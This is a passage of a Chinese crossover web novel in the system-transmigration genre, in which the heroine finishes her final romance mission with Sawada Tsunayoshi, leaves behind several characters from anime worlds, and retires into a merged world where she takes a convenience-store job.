我抚在他脊背上的手按上他的脖子,阻止他抬头的动作,笃定的说:“即便出现了一些小差错,但他们都是很优秀的人,没有那个人也一定过得很好。”
“不会的。”
我忽略他的声音,小声说:“对不起。”
“我没办法留下来。”
这个小世界发生了奇妙的变化,三个小世界融合在一起。
如果我没办法完成最后一个小世界的任务,凭借原先积累的积分,和他们相遇实在太难了。
如果顺利完成了任务,也许我能顺利选中这里退休……但我没办法面对他们。
如果他们和论坛前辈说的那样全忘了就好了。
到时候我也许会选其中一个人所在的地方退休,远远地看着他们我也会感到幸福。
我捏了捏他的耳垂,忽然想到在这之前我就是那样不起眼的边缘人。
工作做得再好背景板仍然是背景板。
但我在那样的生活里我会感到幸福。
……被他们喜欢才是奇怪的事情吧。
他握住了我的手腕,然后那只纤瘦修长的手顺着手背向下握住了我的手。
用力到我有点疼。
凤镜夜声音有点哑:“好。”
我愣了愣,忽然明白他是说在我离开后他会过得好。
我笑了起来,湿润的水滴不自觉落在他的手背,发自内心的为他信息。
翔阳的生命中排球占着非常重要的位置。
还没见面的五条先生光听声音也是非常自我张扬的家伙,用不着我担心。
凤镜夜是唯一一个第一次见面就算笑着,内心仿佛也在下雨的家伙,最让她不放心。
趁着系统监管还没重启,我努力开导了他一番,希望他之后能发自内心的笑。
周围的一切渐渐扭曲,系统面板上标着红色未发送的投诉一封封自动重新发送出去。
我垂头在他抬起的额头上落下一吻。
“我走了。”
他没戴眼镜的凤眸有些有些发红,拇指摸索着我的手腕:“不说再见吗?”
我抿唇沉默的看着他。
旋即他也不再追问,反而托着我的手站了起来,然后轻轻在我戴着戒指的无名指上落下一吻。
“不知道为什么总觉得欠你一支舞。”
凤镜夜微微欠身,一手抚在胸前,双眸片刻都没有从我身上移开:“我可以吗?”
我握住他的手:“好啊。”
我不擅长跳舞,但他的技术很好,腰间的手臂以及交握的手沉稳有力。
我全然的信任着他,被操控着翩翩起舞,旋转的时候像是短暂的飞了起来,我不自觉轻笑。
他的黑眸里终于也露出轻松的笑意。
在某一瞬间,整个世界卡壳一样闪了闪。
从交握着的地方传来微凉的触感消失不见,我停下舞步,静静的看着一切都离我远去,又在瞬间变成雪白的天花板。
我仰躺在一张柔软的床上,窗外的鸟鸣愉悦,透明的水滴顺着酸痛的眼角滑落。
我从床上坐了起来,然后对上一双复杂的棕眸。
第132章
五条悟穿过用几十件特级咒具以及无数低级咒具打开的通道,湛蓝的眸子略过不远处飘着的咒胎,在混乱的场合里扬眉环视一圈。
被忽然出现的冒着火焰的黑衣人团团围住也阻挡不了他的好心情。
这次没错。
如同半空中飘浮着的那枚奇异的卵一样与这里格格不入的白发男人,脚下没有任何依靠,也没有火焰与科技的辅助,就这样张扬的停在半空中居高临下的俯视着一切。
那双被眼罩蒙住的眼睛扫过之时,沢田纲吉竟然真的察觉到了一股不容忽视的视线,如同能穿透人心一般如有实质。
他脑中的警报响起,直觉眼前的男人比那颗卵更加危险……数倍。
沢田纲吉落在离他不远的屋脊上,挥了挥手,第一时间围住入侵者的守护者退开了点,但仍然维持着能够立即支援上去的距离。
山本武沉着脸,眼神锐利,握剑的手被他随手用脱下来的西服外套包裹,勉强止住伤口,身形微微下压警戒着上空存在感越来越强的卵,以及那个更加危险的白发男人。
这种时候出现,他是伊利亚的人……不,这种人绝对不会屈居于人下,难道是想要趁着彭格列出事,想来分一杯羹?
他们的老对手绝对都在基地外观望, 但真敢现在就出手的也就只有眼前这一个了。
狱寺隼人咬牙:“不能让他这么放肆,十代目独自过去太危险了,我们不能重蹈覆辙!”
他看向山本武, 语调低沉又危险:“我已经让强尼二加强了防护罩, 他暂时走不了……”
山本武打断他:“没人想重蹈覆辙,虽然我也想让那位学习一下到别人家做客的规矩,但我们要尊重阿纲的决定狱寺。”
狱寺隼人眉眼压低, 话音被男人悠闲愉悦的声线打断。
五条悟看了一圈没找到想见的人,视线落在不远处的棕发男人身上:“好像打扰到你们了?我只是想找个人不用这么热情啦。”
“顺道一提那只咒胎要孵化了。”
他的声线狱寺不能违心说难听,但尾音总有种让人似曾相识的不爽。
他扫过某处,啧了一声:“六道骸人呢?”
还有咒胎?孵化?
上空传来清脆的碎裂声,紧接着是令人头痛欲裂的声音,婴儿的尖利哭泣里混杂着少年青年或是老人的哀泣。
狱寺捂着胃部铁青着脸,压下呕吐的冲动,戴上耳塞稍稍隔绝噪音,翠色的眼瞳紧缩着锁定孵化出的东西:“呕,果然是怪物!”
“交给我!”
他身后同时传来急促的脚步声,山本武看着被那只浑身青绿色的人形怪物随手扯断肢体的男人,脸上习惯性的笑意彻底泯灭,冷酷的说:“我左你右。”
五条悟只是来找老婆,没有惹事的意思,他看到有冒着火焰的男人朝那只特级冲过来,想了想落在地上,然后极有目的性朝老婆咒力残秽气息最浓的地方走去。
他摸了摸下巴,唇角的笑意逐渐消失:“嗯?”
“受伤了吗?”
他知道小一不可能在这些弱小的蚂蚁手下出事,垂眸思索了两秒钟,掀开眼罩一边看向棕发男人:“你知道我的妻子在哪儿吗?”
他认识这个男人,小一和他走得很近,啧。
要是他再晚一点过来,说不定对手又要多一个。
不过谁让他又强又有钱,他能打开空间壁垒来找老婆,其他人就只能搭着他的顺风车干巴巴的看着。
哼,等我带小一回去,就给他们直播我们的婚礼让他们死心。
沢田纲吉眼神复杂的看着他,总觉得会有什么出乎意料的事情发生,超直感让他转身离开,叫嚣着不要再理会这个不速之客。
但出于礼貌他还是问了一句:“请问您的妻子是?如果只是找人的话我也许能帮上忙。”
五条悟的视线停在某处,面容有一瞬间的凝滞,旋即又轻笑一声,随手扯下眼罩走到沢田纲吉面前,不笑时过分冰冷的蓝眸注视着他。
“今天是你的订婚典礼?”
“和谁?”
被破坏得七零八落的字板看不出另一半的名字,但按照之前的经验,五条悟眯着眼睛毫不意外的在他口中听到了老婆的名字。
一瞬间翻涌的怒火让他身周爆发出恐怖的压力,那只逐渐落入下风的特级咒灵悲鸣一声,被忽如其来的光束穿透身体,瞬间泯灭。
一起对付那只咒灵特意拖延时间以此来研究这种怪物的战斗模式的众人:? ? ?
他们齐刷刷的停手,即便他们没有用尽全力,但刚才擦身而过的一击所蕴含的力量也足够震撼。
云雀恭弥握紧浮萍拐跃跃欲试的看向五条悟:“好强。”
山本武和狱寺隼人拦下他。
“等等云雀!他似乎不是敌人,先别冲动!”
山本武眉头紧皱,那一击让他毫不怀疑,即便没有他们,面对毫发无伤的咒灵那个男人也只需要一击就能秒杀。
意大利什么时候有这样的强者了?
不对,那个男人穿的是和服……
陌生的力量以及口中对那怪物的陌生称呼,似乎对名为咒灵的怪物很熟悉。
山本武思索:“这个世界上是否存在着另一种不同力量体系不为人所知的里世界?”
狱寺隼人也是这样想的。
“但我从来没见过相关记载,比起不为人所知的另一重里世界,倒不如说是……突然出现。”
五条悟冷静的轻轻吐息,在众人警惕的注视下微微一笑:“稍微帮点忙,不介意吧?”
人太多了,看起来在场的所有人都应该知道小一和沢田纲吉订婚的事,起码不能在这里说出来,那些不明所以的家伙说不定会影响她的名声。
五条悟按了按脖子,小声呢喃:“他们又怎么会懂得我和老婆的羁绊。”
其他人都是老婆失忆时的过客,只有他·超级大帅哥·超有钱·有能力(双关)的五条悟,才是她的选择。
他搭上沢田纲吉的肩膀,在他僵硬的笑容中,凑到他耳边悄悄说:“我老婆是黑川一,要不我们换个地方聊?”
见他没反应五条悟拍了拍他的肩膀。
“你一时不理解我懂,和你差不多的家伙还有两个,你们可以想办法聊聊安慰安慰对方,等小一恢复记忆她就会跟我回家。”
沢田纲吉瞥了一眼肩膀上的手,往前一步挡开他的手臂,对这家伙的话都持保留态度。
他不了解这家伙但了解小一。
她不可能同时和两……四个人纠缠不清。
但这家伙没必要在这种事上说谎。
那就是……
沢田纲吉拂了拂肩膀上的灰尘,胸前披风上的金色锁链优雅的晃动,棕眸含笑的邀请:“跟不跟你走当然那是小一说的算,但她会和不记得的人在一起吗?”
满意的看到过分张扬不知收敛的白发男人表情僵了一瞬。
他轻笑着做了个手势,彭格列众人有序的散开。
清理现场的清理现场,采集素材的采集素材,出门找茬的气势汹汹。
“既然如此我们聊聊吧。”
“kufufufu加上我如何?”
忽然出现的声音插入两人的对话。
五条悟看向忽然出现在的六道骸,眉头微挑:“空间波动?”
“骸?”
沢田纲吉蹙眉,没记错的话他消失之前是和小一在一起。
六道骸想到被他弄到异世界目前还没出来的十代目夫人有些心虚的笑了两声,转了转三叉戟:“关于夫人的事我知道一点,包括你不知道的部分。”
他后半句是对五条悟说的。
“怎么样?我们聊聊?”
五条悟点点头,若有所思的问:“小一在哪?”
“咳kufufuf,这是接下来我要说的部分。”
……
五条悟靠在沙发里翘着长腿,两根手指抵在额头上,沉思片刻:“所以你让那两个家伙成功见到我老婆,在我成功的时候?”
六道骸无言的扭头看向沢田纲吉。
没想到这家伙浓眉大眼的居然还是个恋爱脑。
彭格列的话一定不……
沢田纲吉冷静的思考了两秒,成熟冷静的指出:“所以我才是现在她喜欢的人才对吧?”
六道骸:“……”
真的要把重点放在这里吗?
成熟冷静的处理别有用心的夫人而不是成熟冷静的原谅她啊喂!
他忍住差点脱口而出的吐槽,翻了个白眼,无趣的起身推开门,对他们接下来的话兴致缺缺:“无聊,我先走了。”
他迈出一步忽然想到什么嘴角勾起,不怀好意的说:“前提是那家伙还愿意回来。”
他故意隐瞒了黑川一的身体状况,看着两人脸色微变,脚步轻快起来。
还以为有什么好玩的事,结果竟然是这些家伙的感情纠葛。
六道骸走出议事厅,抬眼看向天空干净明媚的天空,思索着去找库洛姆还是出门转转,还剩一半的大厅墙壁上播报的新闻让他顿住脚步。
“……嗯?”
他缓缓勾唇,异色的双瞳逐渐盛满兴味:“有意思,带库洛姆去玩玩好了。”
门缓缓闭合,沢田纲吉收敛了笑意,看着对面的白发男人,心中迅速衡量两人在小一心中的重量,并迅速做出决定。
他摆出谈判的架势:“我知道你想见小一,但现在我是她的丈夫,我要求先和她见面……在她回来之后。”
如果一切都如骸所说,她带着更高层世界发布的任务前来,为了从他们身上得到某种东西。
从一开始她的离开不可避免。
他要做的是在所剩不多的时间里给小一留下比他们更深的印象。
沢田纲吉身体微微前倾与那双瑰丽的蓝眸对视:“……然后接下来我们各凭本事。”
五条悟:“我为什么要答应,我要带着我老婆回家。”
沢田纲吉额角微跳,面容平静的说:“可她现在不记得你,我是她的丈夫。”
五条悟面无表情的强调:“未婚夫而已。”
对面传来一声轻嗤。
“结婚了也能离,更何况你现在查无此人。”
六道骸带着库洛姆上车一脚油门将一片狼藉的彭格列基地扔到脑后,没走远就听到基地内传来熟悉的爆破声,他握着方向盘,单手将库洛姆担忧的脑袋转回来。
“别看了,不会出事的,他们马上就会发现……”
“世界变了。”
第133章
我恍惚的睁着双眼,与那双棕眸对视了一会儿,才发现自己回来了。
“沢田先生?”
沙哑的声音像是几天几夜没喝水的撕裂嗓。
我捂着喉咙咳嗽咳嗽几声,一杯水递到唇边,我因为咳嗽而颤抖的手凑上去被他避开,感受到坚定的抵在唇边的力道,我只好张开嘴唇借着他的手喝了两杯水。
我摆摆手:“我好多了。”
沢田纲吉这才放下杯子,然后找来两个枕头把我扶起来垫在背后。
我看着他忙碌的背影,嘴唇动了动,放在被子上的手逐渐收紧,神情凝重的抿唇。
该死的,我总算知道为什么做完任务后会暂时封闭记忆,这种奇异的脚踩四只船的罪恶感到底是怎么回事? !
紧握的手忽然被包进一只泛着暖意的大掌,带着薄茧的手指钻进我的掌心,耐心的将拳头一点点掰开。
我出神的看着他认真的眉眼发呆。
然后手心落下冰凉的触感。
我抬起掌心看着那枚熟悉的订婚戒指,抬眼看向他,抿了抿唇低声询问:“沢田先生?”
他反悔了吗?
我想如果他现在反悔我肯定说不出挽留的话。
我想到让我出状况的罪魁祸首, 忽然明白了:“是六道骸与您说了,我……”
我落在他掌心的手倏然收紧,握着他的手掌,屏住呼吸小心翼翼的看着沢田纲吉陡然放大的面容。
唇上的触感很软很热。
在这样的距离下,我能清晰的看见那双棕眸中流转着浅笑与分明的……爱意,紧缩的心脏放松了少许,然后是更加严重的紧绷。
不知吻了多久, 我直到他退开的时候, 我的唇已经染上了他的温度,在他的眼神中抿了抿唇。
我脸上升腾着热意,艰难的维持着冷静,继续刚才的话题:“他是不是已经和您说了,您是不是生气了,如果您反悔的话唔!”
未尽的声音又被堵上。
这一次他清浅的呼吸急促的落在我的脸上,轻轻啄吻着我的唇,然后是细细密密的啃咬,带着些惩罚意味的动作带来丝丝缕缕的刺痛。
我眼里逐渐弥漫上雾气看不清他的脸,张口想说什么却被含进交叠的双唇之间,化作无声的吐息。
半晌。
我顶着红肿发热的双唇坐在床上,茫然地看着撑着床沿盯着我的沢田先生。
第一次见到沢田先生这样散发着侵略气息的表情,我脸上的红晕加深,沉默着艰难的整理着混乱的思绪。
在我开口之前,他托着我的脸轻轻抬起,拇指带着提示的意味重重按了按我发热的唇角,棕眸潋滟的看着我,带着引导的意味。
“想好要和我说什么了小一?”
我不安地动了动身体,失语半晌,最终狠狠地闭上眼睛,松手同样的摘掉我手上的戒指一起塞给他,加快语速:“真的对不起!您反悔了的话,无论是什么决定我都接受!”
“您不用有任何负担。”
站在系统的角度来看我们是在做正确的事,而站在这些被选中的“任务目标”来看,我们所做的和欺骗感情的骗子没什么区别。
身为执行者的我既没有立场责怪安身立命的系统,也无法同他们解释我的理由。
只能沉默着等待。
沢田纲吉看着她颤抖的睫毛,咬了咬牙,差点被她笃定要分开的想法气笑了,他上前轻轻与她相抵,再次咬了上去。
我感受到落在唇上的侵略性的气息,脊背紧绷又软了下来,被一只手托着脊背稳住身体,胡乱的想:“又错了!?还来!?”
滚烫的唇舌越发深入我的脑子逐渐乱成浆糊失去了思考的能力。
直到舌根都开始发麻我抵着他肩膀的手用力推了推,终于在窒息之前获得了新鲜空气,我胸口起伏着狠狠瞪了扶着我的男人一眼。
挂在睫毛上的水珠终于落了下来。
我嘴唇微启,被吻过的感觉再次涌上,卡了一下才重新酝酿情绪,带着点鼻音:“你到底想说什么不要让我猜了!猜错了还要被这样惩罚……看着我难过你是不是很开心!”
本来没觉得委屈,结果在他耐心温柔的眼神中越说越难过,嘴唇也肿得发痛,我现在一定很难看。
想到这里鼻子一酸眼泪就掉下来了。
我伤心的说:“等会儿我就回去,到时候你就……反正你就不会因为我的事难过了。”
我听到耳边响起的警报,含糊了一下,顺手打开系统面板点开强制退出页面,我记得那把短刀非常锋利应该不会很痛。
手指忽然被人抓住。
“不行。”
沢田纲吉的脸凑到我眼前,重新认真的重复一遍:“小一去哪儿都是你的自由,但不是现在。”
我泄气的说:“那你想怎么办?”
主要是我不想做了,失败就是失败吧。
他小心翼翼的将她脸上的泪珠擦干,心里有些懊恼,下意识放轻声音:“那就听我说好吗?”
我沉默的看着他。
我听到他的叹息,然后身体一轻被抱进他的怀中,脑袋靠着他的脖颈,我听到他的声音。
沢田纲吉一下下顺着她顺滑的黑发:“骸看到了你的记忆,我知道你是为什么而来,也知道你曾经去过其他地方。”
我睁大眼睛倏然转头想要看他的表情,却被那只大手安抚着靠了回去。
“我知道你的原因,同时也明白你为大家所做的一切都是发自内心,你一直是个让人心软的好孩子,我们都很喜欢你。”
他环着她的腰逐渐加重力道:“我不生你的气,只是有点难过。”
“我竟然不是你第一个喜欢的人。”
“难过于你不相信我……爱着你。”
闻言,我下意识看了眼系统面板,代表着沢田先生好感度的进度条虽然不是特别低,但也离满格还有一定距离。
沢田先生也许以后会喜欢上我,但不是现在。
我拉了拉他后颈的发丝,难过的说:“别安慰我了,我真的要走了。”
我察觉到相贴的胸膛微微颤动,听到他说:“你当然会走。”
“好孩子就应该得到奖励。”
我下意识:“嗯?”
然后面板左下角的进度开始以惊人的速度向前飙升。
在我不可置信的注视下它竟然真的被填满了,我挣扎着从他怀里坐起来,捧着他的脸左右看了看。
“您是怎么做到的!如果是作弊的话会被抓到的!”
我和他对视几秒眼神又游移着落在一旁,任务完成的通知跳了出来,面板上出现了一个一小时倒计时。
我在既定的事实面前沉默下来,抵着他肩膀的手松了松,缓缓在他的引导下靠进他的臂弯,额头滑落到他的胸膛,闷闷的说:“对不起。”
任务完成了。
他没有作弊。
他说:“不用道歉,喜欢你是我的事。”
“我喜欢你,在那些数据之外。”
我环着他的肩膀心里复杂的情绪交织,喉咙发酸,小声凑近他的耳朵:“可是我们只剩一个小时了。”
沢田纲吉沉默的扣着她的腰,轻笑着说:“马上要完成任务了,开心一点。”
我闭着眼睛用力捅了一下他的腰,凶巴巴的威胁道:“闭嘴!”
他闷哼一声,带着我站了起来。
我惊呼一声用力环住他的肩膀,他扣着我的大腿朝向外走去。
“去哪儿!”
我惊慌的看向门外,生怕有人经过,看到我们用这么羞耻的姿势走出去。沢田纲吉亲了亲她的发顶。
“不去哪儿,只有一个小时了小一不能满足我一个要求吗?”
他说的可怜兮兮,我沉默了一下,小心扭头去看他的脸,安慰的话就卡在喉间。
我一巴掌拍在他背上:“你还笑!”
他带着我穿过空荡荡的走廊按下顶层,从电梯走出来之后,我才发现这里一整层都是私人公寓。
我:“为什么要把公寓建在医院上面?”
因为危险的时候首领是家族的第一道防线。
沢田纲吉没有回答而是带着她走进卧室,轻轻将她放在床上,他也躺了下来,静静的拥住她。
“思来想去你离开后我也不想一个人住在那栋小楼,还是搬回来好了,但公寓冷冰冰的没有你的气息。”
他侧身将脸埋进我的发间。
“陪我躺一会儿就好。”
我无言的与他十指相扣,失神的看着天花板,精神有些疲惫却毫无睡意数着倒计时,难过在沉默中一层层叠加。
我想我们可能还有机会几面,但又觉得这种连自己也无法确信的话太过轻率,无法说出口。
就算再不舍倒计时也来到了最后一分钟。
我缓缓从沢田先生的怀里退了出来,腾出一只手挡住他的眼神,轻轻吸了口气:“我走了,沢田先生不要想起我了。”
“……我就不说再见了。”
我踩在地上朝出现逐渐出现的通道走去,蒙着他的手松开,对着那双眼睛我发自内心的感激:“还有谢谢您。”
我从他的眼睛里看到了我自己,那双眼睛很亮,像两颗星星。
沢田纲吉握住她的手腕,落下一吻:“等你自由,我们仍然可以相爱……我发誓我会一直爱你。”
我一只脚已经踏进彻底打开的通道里,手腕从他停滞的手中滑落,闻言回头复杂的看了他一眼,然后踏上了回去的路。
我面无表情的看着光怪陆离的扭曲通路,摸着还残留着温热触感的手腕,鞋底触碰到系统行政大厅传送阵中心。
任务完成的祝贺信息第一时间发送过来,被封锁的记忆也同时灌了进来。
我低头用力捏了捏手指。
就这样让我离开,没有要求,没有承诺,只留下那样的许诺啊。
第134章
我摸着不知何时被塞过来的戒指。
他想我回去吗?
我敢肯定他不确定我会不会为他回去。
“宝贝~~~”
我打了个寒战, 被人从背后扑倒,一颗金色的脑袋在脖颈间兴奋的狂蹭。
“你终于回来了!简直太棒了,你知道你这次的连锁任务最后评分多少吗?”
“ S啊! S !换句话说宝贝你要出名了,怎么样开心吗?可以直接转进主角组享受高级待遇哦。”
我咳嗽着把她从我身上撕开,狼狈的站起来,门头朝外走。
她仍然跟在我身后喋喋不休:“你知不知道评分出来的时候主任的表情?谄媚的我没眼看!”
“不过积分待遇比现在好多了。”
我垂眸把塞满的邮箱清理了一遍, 然后在评分表上仔细看了一会儿,在最速通关的褒奖上停顿片刻, 然后匆匆移开。
在转组申请上点了拒绝。
我打开门让前辈进来没管兴奋得在狭窄的客厅里转圈圈的前辈,倒进床铺,用飘忽的声线说: “不去。”
前辈的声音顿了一下,忽然在耳边放大:“嗯?你说什么?”
我抓紧被子缩了缩脖子,小声说:“我不转组, 一年的带薪休假也……不休了。”
她兴奋的声音冷静下来,蹲在床边看着我:“那就不去了,那边人从手下到上司一个个都眼高于顶,哪有这里开心。”
“那姐姐带你出去散散心?”
她看着一脸萎靡显然是吃了爱情的苦的后辈,循循善诱。
我缩了缩脖子, 没敢看她的脸:“我接了新任务, 明天就出发。”
前辈:卧槽!出大事了,这孩子不会被男狐狸精勾住了吧? !
她一脸坚毅的站起来:“你等我一会儿。”
我震惊的看着前辈背后燃着火焰冲了出去,不出十分钟又抱着一叠A4纸冲了回来,那叠纸被摔在地面上,连带着我的床垫也震了震。
“……这是?”
我弱弱的问,实际上已经看到最上面那张上熟悉的抽象标题【你是我到不了的罗马[酒杯] ,我是你得不到的牛马[心碎][红裙跳舞小人] 】。
我往后缩了缩还是没躲过前辈塞给我的“受害者联盟教案”,听着她郑重其事的念了好几个贴住的崩溃文案,目光逐渐放空。
又过了半个小时,我恭恭敬敬的给前辈递上一杯水,趁着她喝水的间隙,清了清嗓子。
“其实不是你想的那样。”
我看到前辈用一种无可救药的眼神看着我,心里咯噔一下,闭着眼睛把所有事情全部交代了。
小小的出租屋里安静了一会儿。
前辈冷静的说:“所以你被野男人感动主动放弃更好的机会,吃糠咽菜攒积分后,打算去找他?”
“倒也不是。”
我嘀嘀咕咕重新看了眼我推的海报,松了口气,扭过头:“我和我推感情还很深,暂时没有移情别恋的想法。”
“但那边的工作模式不是很适合我。”
我抱着软乎乎的大头抱枕在地上蛄蛹,发出无能的声音:“再来几次我真的搞定不了啊!”
我披头散发哭唧唧的告状。
“虽然他们都是好人没错,但明明系统都已经做过预防措施,结果还能追我几个世界,明明没有记忆还能记得我,简直……简直可怕得很!”
差点翻车的后怕还在追我。
我蔫哒哒的抱着前辈的腰自闭。
前辈听着表情越来越诡异,最后用慈爱的眼神拍拍怀中的狗头,听着她细小的呼噜声,嫌弃地自言自语:“难道这就是傻人有傻福?”
·
银座人流交织的十字路口,一名少女捂着脸流着泪穿过马路一路飞奔。
好在穿着荧光色马甲的交警,极有预见性的指挥车辆减速,阻止了一场可能发生的悲剧。
交警吹了吹哨子,等一名帅气的西装男再次顺着少女的路线奔过之后,才让车辆继续通行。
太阳很热,交警的荧光色马甲里早就已经被打湿,只好扯着衣领透透气,聊胜于无。
好不容易等到同事换班,她脱下马甲走到角落闭着眼睛靠着冰水稍微恢复了点生气,手指轻点视线落在虚空旁人看不见的面板上。
看到任务完成的提示松了口气,没有急着像平时一样脱出世界,反而点开了账户余额。
一连串零映入瞳孔。
“还差最后一个任务就能兑换提前退休了。”
提前半年就发送到邮箱的退休世界志愿填报表还没有打开过。
没心情在任务世界清理身上的狼狈,她踏入通道,面无表情的感受着熟悉的眩晕感,脚踏实地的瞬间后背忽然挨了一巴掌。
“小一——我就知道你出来了,快跟我来!”
我被迫踉跄了一下跟着前辈跑了起来,还以为又是为了让我帮忙抽选任务世界,连忙重申:“完成那个系列任务是走狗屎运而已啊!我运气你知道的啊前辈!”
其他人却之不恭坑一坑就算了,也算是为我的退休事业添砖加瓦,但前辈我下不去手啊!
“我把你的话都录下来了,等让你帮忙抽签的倒霉蛋回来之后就播给他们听。”
我听到前辈带着淡淡死意的声音,不可置信的瞪圆眼睛:“前辈?!”
我听到叮的一声这脆响。
这才发现被带进了系统号称人机共治的办公大楼,科技感十足的亮银色的椭圆形电梯间带着我们上升,我握着扶手抵御着强烈的失重感。
我偏头去看前辈,才发现她双手环胸,面无人色的脸上挂着两个巨大的黑眼圈,看着像受到什么惨无人道的虐待。
我抱怨的声音卡了一下,小心翼翼:“主任发现你摸鱼,把你的年终奖取消了?”
在没有人的地方,她终于绷不住,抱着头哀嚎一声。
“不就是背后蛐蛐了他几句吗?!他秃头是事实又不是我凭空捏造的!凭什么把最难搞的小世界都扔给我!”
她发出一声巨大的抽噎,在电梯门打开的瞬间迅速恢复了生无可恋的冰块脸,只是看着我的眼神过于期待,让我生出不妙的预感。
我退后一步对站在电梯门外朝我伸手的前辈摇摇头,谨慎地说:“你先保证我出去后不会发生逼良为娼的情节。”
前辈笑了一声,表情有些讪讪,上前一步挽着我的胳膊就把我拽了出去。
我只来得及喉咙里挤出一声疑惑,手臂上的力道牢固得直逼非洲鬣狗的咬合力,我无助的被风筝一样带进了一间办公室。
里面站着一名秃顶的中年男人,见我进来激动的搓了搓手门在我身后砰的一声关上。
如果不是我知道前辈不可能坑我,眼前的办公室主任又是出了名的洁身自好,且每间办公室都有系统的监控,我都怀疑这是什么办公室潜规则剧情的开头。
兴许是我脸上狐疑的表情太明显,主任轻咳一声若无其事的给我搬了把椅子,转头前辈沏了杯茶塞我手里。
我的表情有点难以言喻。
这讨好得也太明显了吧!
我转头重新看向前辈,扬了扬下巴,身上还是那身交警执勤的宽松制服,额头上还残留着已经干涸的汗液,但硬生生让两个心虚的家伙避开视线。
“你还没答应我,待会儿应该不会出现什么不光顾我意愿的事情吧?”
前辈的表情挣扎了一下最终坚定下来,我心里一松,看来我们的感情成功打败了官僚主义的腐蚀。
前辈捏着我的手:“其实是这样的,最近我负责的几个小世界不明原因出现了一些漏洞,因为各种各样的原因它们在进行自主融合。”
“非常巧合的是这几个世界都和你有关系。”
她轻咳一声:“其实这些世界的不稳定主要出于有人仍然在不断尝试破坏世界壁垒,放任下去会影响更多小世界。”
主任接过她的话:“所以我们打算派出对这些地方比较熟悉的员工去调查这件事。”
他说到一半停了停,端着茶杯抿了一口,沉默了会儿又吐了口茶叶,似乎也觉得将这样难度的任务交给我有些扎嘴。
我却在他们说到这几个世界与我有关,且有人破坏世界壁垒时默默坐直了身体,勉强维持着不情不愿的表情听他许诺了一大堆福利。
我把烫手的茶杯放到桌上,选择对水面上漂浮着的密密麻麻的茶叶视而不见。
……好想知道为什么主任喝一口要吐好几口茶叶了。
我隐晦的看了一眼前辈,把茶杯默默推远了点:“我同意了。”
主任苦口婆心:“实在是现在没有更合适的同事能够顶上去,但继续放着不管绝对会出大事情,你就当临时帮我们一个忙,等有人手空出来……”
“……什么?”
他顿了一下才反应过来,白面馒头一样的脸上顿时扯出一个喜庆的笑容,上前一步握着我的手用力摇晃。
“不愧是我们优秀的好同志!!!”
我抽了抽手:“你之前答应我的条件是对在职员工来说的,这些可以的话都移交给前辈吧,我的诉求就是让我提前一个任务退休。”
原本还没有下定决心。
但得知他们还在锲而不舍的找我还是有些不可抑制的心软。
我从系统面板里将退休世界调查表抽出来填上融合世界的号码当场提交。
主任的面容有些惊愕:“可是这样的话……”
不是没有提前退休的先例,但是还带着任务提前退休,员工的人身安全和任务都不一定能得到保障啊!
他想说什么,忽然又想到那些世界产生的异状,深深的看了这名平时低调异常,只有三年前完成连环任务稍微打出了点名气,结果竟然自愿回到路人部门的员工一眼。
算了。
他在提交的任务申请上签字,朝两人挥挥手:“行了走吧。”
我暗暗紧绷的脊背松弛下来。
刚踏出办公室,就听到主任压低的声音。
“我会给你开通紧急通信渠道,如果遇到什么……想回来,局里给你一次机会。”
第135章
我·最年轻退休的系统员工·最快通关任务记录保持者· AKA黑川一,在进入退休世界的第一天即将露宿街头。
我第三次扒拉了一遍身上的连体小猫睡衣,第五次点开系统面板试图投诉,然后全部都显示信号异常石沉大海。
可恶啊!来之前也没说会在晚上开启通道啊!
融合世界的信号被切断是不是有点过分了!
把我临走前的感动还回来啊喂!
我穿着毛绒拖鞋走在深夜空无一人的街道上,路过一片漆黑的巷口,明显察觉到不怀好意的目光,我摸了摸干瘪的肚子加快了脚步。
就这样漫无目的走了一会儿,似乎走到了比较热闹的街区,路上出现了零星的行人以及亮着暖黄灯光的便利店。
我路过橱窗被扑面而来的香气袭击短暂的失去了行动能力。
额头抵着透明橱窗眼巴巴的看着咕咚咕咚的关东煮,决定在这里度过这个夜晚。
明天再去找一份工作安顿下来再去寻找任务线索吧。
我在寒风中搓搓手指叹了口气,看向便利店柜台上的电视机,并不那么着急如何寻找线索的原因大概是因为那几人实在太过显眼了吧。
一晃而过的镜头中明亮宽阔的体育场馆中如同飞翔一般跃起的橘色身影一闪而过。
负责赞助建造体育场馆的五条家出面的是一脸严肃的中年男人,但不知是不是故意的,右下角还重复播放了一遍疑似五条家主的身影。
我看了眼发出惊叹的店员, 大概明白了电视台的思路。
颜即正义啊。
另外关于凤家的医疗集团以及意大利的彭格列家全都一窝蜂的在新闻里组团出现。
如同特意展示自己羽翼的孔雀开屏行为。
我在心里默默点评。
更坚定了我不能现在就找上门去的决心,把脑子里突然冒出的上门打秋风的穷亲戚词条划掉,我坐了下来,抱着膝盖就着从商店里吹出的暖风闭上了眼睛。
“那个……”
一道犹豫的女声在我身后响起。
我稍微睁开眼睛往旁边挪了挪坐到两间商店的中间,还带着睡意的声音含含糊糊道:“抱歉,挡住你了吗?”
她慌忙的提高了音量:“不不不, 不是这个, 我是说你要进来吗?外面有点冷。”
几分钟之后,我披着店员的工作服坐在角落的椅子上,身体正对出风口,捧着饭团大啃一口。
隔夜的待处理饭团也许没那么美味,但还是让我美滋滋的眯了眯眼睛:“好吃——”
在店员温柔的眼神中我成功填饱了肚子,并成为一名便利店兼职人员。
店员名叫美和,我想让她喊我黑川姐姐未遂, 只好遗憾的让她喊我的名字。
美和搬着一箱面包经过无奈的说:“都是喊名字,有什么不甘心的啊,小一有时候就是有些让人搞不懂的可爱之处呢。”
我穿着白红相间的店员服装,头上戴着小红帽,轻轻松松搬着两箱汽水跟在美和身后,超不经意展现自己的肌肉。
“因为都喊名字的话没有特色,但是但是美和喊我姐姐的话,不觉得特别亲密吗?!我超级厉害可以保护美和哦。”
我把汽水放进仓库,拍了拍她的肩膀,无人在意的尖叫骤然在仓库里响起。
我顺势挽着她的手臂向外走:“下班了下班了,一起去商业街逛逛怎么样?”
昨天拿到了一个月的兼职工资,我承认对新出的游戏机垂涎三尺,短暂的将落在肩头的任务抛在脑后。
捏着扁扁钱包的我提起游戏机和卡带的纸袋,恋恋不舍的和满墙的卡带告别,想到造成这一切的罪魁祸首,我怨气十足的想:“在他们把我的存款和行李打包送过来之前,我都不要主动完成任务。”
才不是我还没想好怎么面对他们。
我带着美和朝宿舍的方向走,她捏了捏我的手,温婉的脸上露出一个略显羞涩的笑容,朝前方露出一个小角的巨大建筑指了指。
“健次郎给了我两张门票,听说那所新开的体育馆里的比赛很受年轻人欢迎。”
